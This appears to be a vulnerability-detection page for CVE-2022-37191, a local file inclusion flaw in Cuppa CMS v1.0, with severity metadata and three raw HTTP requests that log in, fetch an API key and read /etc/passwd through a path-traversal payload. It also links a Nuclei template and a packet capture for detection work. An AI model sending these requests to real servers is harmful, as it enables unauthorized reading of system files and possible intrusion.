| Title | Cuppa CMS v1.0 - Authenticated Local File Inclusion |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix the authenticated local file inclusion vulnerability in Cuppa CMS v1.0. |
| CVSS Score | 6.5 |
| EPSS Score | 0.46367 |
| CVE ID | CVE-2022-37191 |
| CWE ID | CWE-829 |
| Tags | cve cve2022 lfi cuppa authenticated cuppacms vuln |
The component “cuppa/api/index.php” of CuppaCMS v1.0 is Vulnerable to LFI. An authenticated user can read system files via crafted POST request using [function] parameter value as LFI payload.
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Connection: close
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
user=fXcpz0&password=mXpjhk&language=en&task=login
POST /components/table_manager/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
path=component%2Ftable_manager%2Fview%2Fcu_api_keys
POST /api/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15
Connection: close
Content-Length: 112
Content-Type: application/x-www-form-urlencoded
key: 9dwibZ
Accept-Encoding: gzip
function=./../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd/
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-37191.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-37191.pcap
N/AN/A